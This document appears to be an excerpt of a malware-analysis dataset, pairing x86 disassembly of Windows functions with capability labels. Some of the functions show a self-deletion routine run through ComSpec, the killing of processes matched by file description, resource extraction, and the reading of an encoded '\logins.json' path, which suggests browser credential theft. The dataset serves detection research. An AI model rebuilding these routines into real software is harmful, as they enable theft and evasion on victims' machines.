joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014b0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x403158
movss dword [ebp - 4], xmm2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.Press_Ctrl__._to_start._n
call fcn.004011b0
cmp byte [ebp + 8], 1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jne 0x401528
mov edx, str.Press_Ctrl____to_set_the_speed._n
call fcn.004011b0
movss xmm0, dword [ebp - 4]
sub esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Clicks_delay:
movss dword [esp + 4], xmm0
call fcn.004011b0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___float_]
mov edx, str._ms._n
mov ecx, eax
call fcn.004011b0
mov esp, ebp
pop ebp
ret 4
movss xmm0, dword [ebp - 4]
sub esp, 8
mov edx, str.Clicks_delay:
movss dword [esp + 4], xmm0
call fcn.004011b0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___float_]
mov edx, str._ms._n
mov ecx, eax
call fcn.004011b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Hold_Alt_to_click._n
call fcn.004011b0
mov esp, ebp
pop ebp
ret 4
Function at 0x412750
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x6d5ec0]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
mov edi, ecx
call fcn.004126d0
add esp, 0x10
test eax, eax
jne 0x412791
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
jns 0x4127b1
call fcn.00637019
cmp dword [eax], 9
jne 0x4127b1
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WS2_32.dll_recv]
lea eax, [esp + 0x13]
nop dword [eax + eax]
push 2
push 1
push eax
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x4127de
call fcn.00637019
cmp dword [eax], 4
lea eax, [esp + 0x13]
je 0x4127c0
test esi, esi
mov ecx, dword [esp + 0x14]
setg al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
Function at 0x412b70
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 0x40c], eax
push edi
mov edi, edx
movzx eax, word [esi]
cmp eax, 2
je 0x412ba3
cmp eax, 0x17
jne 0x412c22
movzx eax, word [esi + 2]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
movzx eax, ax
push 0x401
mov dword [ebx], eax
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.006213c0
add esp, 0xc
lea eax, [ebp - 0x408]
push 2
push 0
push 0
push 0x401
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x412c22
lea edx, [ebp - 0x408]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x412bf3
mov ecx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
sub edx, esi
push edx
push eax
call fcn.00447350
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
Function at 0x414330
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x6d5ec0]
xor eax, esp
mov dword [esp + 0x118], eax
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x18]
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x1c]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ecx + 0x20]
push edi
mov dword [esp + 0xc], ecx
lea edi, [eax + 1]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x4143a8
call fcn.00637019
cmp dword [eax], 4
je 0x414385
test esi, esi
jle 0x4143d1
mov ecx, dword [esp + 0xc]
mov ecx, dword [ecx + 4]
call fcn.00412750
test al, al
je 0x4143d1
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x124]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
Function at 0x4143f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov edx, dword [ebp + 8]
mov eax, SysReAllocString
push ebx
mov ebx, dword [ebp + 0xc]
cmp ebx, eax
push esi
mov esi, ecx
mov dword [esp + 0xc], edx
cmova ebx, eax
mov dword [esp + 0x18], esi
push edi
mov dword [ebp + 0xc], ebx
mov eax, dword [esi + 0x34]
mov edi, dword [esi + 0x38]
cmp eax, edi
jae 0x414462
mov ecx, dword [esi + 0x28]
sub edi, eax
cmp ebx, edi
ja 0x414447
push ebx
add eax, ecx
push eax
push edx
call fcn.00620e40
add esp, 0xc
mov eax, ebx
add dword [esi + 0x34], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
add ecx, eax
push ecx
push edx
call fcn.00620e40
add esp, 0xc
add dword [esi + 0x34], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [esi + 0x14]
mov ecx, dword [esi + 4]
push dword [esi + 0x10]
push dword [esi + 0xc]
push dword [esi + 8]
call fcn.004126d0
add esp, 0x10
test eax, eax
jg 0x414489
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [esi + 4]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
cmp ebx, 0x1000
jae 0x414520
mov eax, dword [esi + 0x28]
mov ebx, edi
mov esi, eax
nop dword [eax]
push 0
push 0x1000
push esi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jns 0x4144d1
call fcn.00637019
cmp dword [eax], 4
je 0x4144b0
test edi, edi
mov esi, dword [esp + 0x1c]
mov ebx, dword [ebp + 0xc]
jle 0x414457
mov eax, dword [esi + 0x28]
cmp edi, ebx
jg 0x4144fe
push edi
push eax
push dword [esp + 0x18]
call fcn.00620e40
add esp, 0xc
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebx
push eax
push dword [esp + 0x18]
call fcn.00620e40
add esp, 0xc
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], edi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
push ebx
push dword [esp + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jns 0x41453e
call fcn.00637019
cmp dword [eax], 4
je 0x414520
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x414550
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x6d5ec0]
xor eax, esp
mov dword [esp + 0x118], eax
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x18]
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x1c]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ecx + 0x20]
push edi
mov dword [esp + 0xc], ecx
lea edi, [eax + 1]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x4145c8
call fcn.00637019
cmp dword [eax], 4
je 0x4145a5
test esi, esi
jle 0x414629
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00412750
test al, al
je 0x414629
mov edi, dword [ebp + 0xc]
mov eax, SysReAllocString
mov ebx, dword [ebp + 8]
cmp edi, eax
cmova edi, eax
mov eax, dword [esi + 4]
mov dword [esp + 0xc], eax
push 0
push edi
push ebx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jns 0x414610
call fcn.00637019
cmp dword [eax], 4
mov eax, dword [esp + 0xc]
je 0x4145f1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x124]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret 8

Function at 0x4146c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x6d5ec0]
xor eax, esp
mov dword [esp + 0x8c], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [esp + 8]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0x80
push eax
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x414713
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push edi
push esi
call fcn.00412b70
add esp, 8
mov ecx, dword [esp + 0x94]
pop edi
pop esi
xor ecx, esp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret 8
Function at 0x414c50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6573f8
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x6d5ec0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x18], 0xffffffff
movups xmmword [edi + 0x1c], xmm0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], 0
lea esi, [edi + 0x34]
mov byte [ebp - 4], 1
push 0x40
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0061ec07
xorps xmm0, xmm0
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov eax, edi
movups xmmword [edi + 0x3c], xmm0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0xf
mov byte [edi + 0x3c], 0
movups xmmword [edi + 0x54], xmm0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0xf
mov byte [edi + 0x54], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x94], 0
mov dword [edi + 0xbc], 0
mov word [edi + 0xc0], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x423af0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x658735
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x6d5ec0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
mov esi, dword [ebp + 8]
push 0x6a6650
push ebx
call fcn.00458a50
mov ecx, dword [edi + 0x10]
add esp, 8
cmp dword [edi + 0x14], 0xf
mov dword [ebp - 0x14], eax
jbe 0x423b3f
add ecx, dword [edi]
mov edi, dword [edi]
jmp 0x423b41
add ecx, edi
push ecx
push ecx
push edi
lea ecx, [ebp - 0x2c]
call fcn.00459570
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x423b5e
mov eax, dword [eax]
push ecx
push eax
push dword [ebp - 0x14]
call fcn.0046edc0
add esp, 0xc
push 0x6a664c
push eax
call fcn.00458a50
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x423bba
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x423bb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423c59
push ecx
push edx
call fcn.0061ef9d
add esp, 8
push str.Country_Code:
push ebx
call fcn.00458a50
mov ecx, dword [esi + 0x10]
add esp, 8
cmp dword [esi + 0x14], 0xf
mov edi, eax
jbe 0x423bd9
add ecx, dword [esi]
mov esi, dword [esi]
jmp 0x423bdb
add ecx, esi
push ecx
push ecx
push esi
lea ecx, [ebp - 0x44]
call fcn.00459570
mov dword [ebp - 4], 1
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x423bf8
mov eax, dword [eax]
push ecx
push eax
push edi
call fcn.0046edc0
add esp, 0xc
push 0x6a664c
push eax
call fcn.00458a50
mov ecx, dword [ebp - 0x30]
add esp, 8
cmp ecx, 7
jbe 0x423c47
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x423c3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423c5e
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0063629b
call fcn.0063629b
int3
Function at 0x42dad0
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x42db9d
push 0x104
lea eax, [ebp - 0x20c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x42db9d
push 0x6ab1cc
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.____NUL
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x104
lea eax, [ebp - 0x20c]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x42db9d
push 0
push 0
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setg al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret

Function at 0x42e250
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65a3f0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x264
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x26c], esi
push 0x100
lea eax, [ebp - 0x218]
mov dword [ebp - 0x26c], esi
push eax
push str.USERNAME
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x42e2d5
xorps xmm0, xmm0
mov ecx, esi
push 6
movups xmmword [esi], xmm0
push str.UKNOWN
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call fcn.00411430
jmp 0x42e338
push 0x50
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.006213c0
add esp, 0xc
lea ecx, [ebp - 0x268]
call fcn.0043f330
mov dword [ebp - 4], 0
lea eax, [ebp - 0x218]
cmp word [ebp - 0x218], 0
je 0x42e319
nop word [eax + eax]
add eax, 2
cmp word [eax], 0
jne 0x42e310
push eax
lea eax, [ebp - 0x218]
push eax
push esi
lea ecx, [ebp - 0x268]
call fcn.0044a990
lea ecx, [ebp - 0x268]
call fcn.0043f270
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x42ef80
Capabilities:
Enumerate process modules
Get file version info
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.0061faa0
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1414]
mov dword [ebp - 0x1434], ecx
push eax
push 0x1000
lea eax, [ebp - 0x140c]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x42f1b8
push esi
mov esi, dword [ebp - 0x1414]
shr esi, 2
mov dword [ebp - 0x142c], esi
test esi, esi
je 0x42f1b7
push ebx
lea ebx, [ebp - 0x140c]
push edi
mov dword [ebp - 0x1428], ebx
mov eax, dword [ebx]
test eax, eax
je 0x42f19d
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1430], eax
test eax, eax
je 0x42f19d
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x42f191
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov esi, eax
test esi, esi
jle 0x42f18b
push esi
call fcn.0061efab
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 0x1424], edi
call fcn.006213c0
add esp, 0x10
lea eax, [ebp - 0x20c]
push edi
push esi
push 0
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x42f182
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
lea eax, [ebp - 0x1410]
push eax
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x1410], 0
push eax
push str.VarFileInfoTranslation
push edi
call esi
test eax, eax
je 0x42f182
xor ebx, ebx
test dword [ebp - 0x1410], 0xfffffffc
jbe 0x42f17c
mov eax, dword [ebp - 0x1420]
lea ecx, [eax + ebx*4]
movzx eax, word [ecx + 2]
push eax
movzx eax, word [ecx]
push eax
lea eax, [ebp - 0x40c]
push str.StringFileInfo_04x_04xFileDescription
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x141c], 0
lea eax, [ebp - 0x1418]
push eax
lea eax, [ebp - 0x141c]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
call esi
test eax, eax
je 0x42f16a
mov eax, dword [ebp - 0x1434]
mov esi, dword [eax]
mov edi, dword [eax + 4]
cmp esi, edi
je 0x42f15e
nop
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x42f11a
mov eax, dword [esi]
push eax
push dword [ebp - 0x141c]
call fcn.0062088f
add esp, 8
test eax, eax
jne 0x42f136
add esi, 0x18
cmp esi, edi
jne 0x42f110
jmp 0x42f15e
mov eax, dword [ebp - 0x1428]
push dword [eax]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x42f15e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
mov edi, dword [ebp - 0x1424]
mov eax, dword [ebp - 0x1410]
inc ebx
shr eax, 2
cmp ebx, eax
jb 0x42f0b3
mov ebx, dword [ebp - 0x1428]
push edi
call fcn.0061eb16
add esp, 4
mov esi, dword [ebp - 0x142c]
push dword [ebp - 0x1430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
sub esi, 1
mov dword [ebp - 0x1428], ebx
mov dword [ebp - 0x142c], esi
jne 0x42efe4
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret
Function at 0x42f790
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65a640
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x54
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
push 0x2d
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
push str.92_108_111_103_105_110_115_46_106_115_111_110
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
call fcn.00411430
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.00424de0
mov byte [ebp - 4], 2
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0xf
push dword [ebx + 0x18]
cmova ecx, dword [ebx + 8]
push ecx
push 0
mov ecx, eax
call fcn.00466840
lea ecx, [ebx + 8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x50], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x60]
push eax
call fcn.00447690
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0xf
jbe 0x42f885
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f87b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f99f
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0xf
jbe 0x42f8b9
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f8af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f99f
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp ecx, 0xf
jbe 0x42f8ff
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f8f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f99f
push ecx
push edx
call fcn.0061ef9d
add esp, 8
push 0x186a0
call fcn.00638347
add esp, 4
mov esi, eax
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
cmova eax, dword [ebx + 8]
push 0
push 0x80
push 4
push 0
push 7
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x42f94e
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x42f950
xor esi, esi
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0xf
jbe 0x42f980
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42f976
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f9a4
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0063629b
call fcn.0063629b
int3
Function at 0x438a50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65b420
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
push str.PROGRAM
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x438bc3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x438bc3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0xb0
mov esi, eax
lea eax, [ebp - 0xc0]
push 0
push eax
call fcn.006213c0
add esp, 4
lea ecx, [ebp - 0xc0]
push 0x20
push ebx
call fcn.0043ee40
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xb4], 6
je 0x438b03
xor bl, bl
jmp 0x438b52
push 0
push esi
push edi
lea ecx, [ebp - 0xc0]
call fcn.00446170
lea ecx, [ebp - 0xbc]
call fcn.0044b5a0
test eax, eax
jne 0x438b4a
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405010
mov ecx, dword [ebp - 0xc0]
mov bl, 1
mov eax, dword [ecx + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00441960
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov edx, dword [eax + 4]
lea ecx, [edx - 8]
mov dword [ebp + edx - 0xc4], ecx
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0060d55e
add esp, 4
mov al, bl
jmp 0x438bc5
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
ret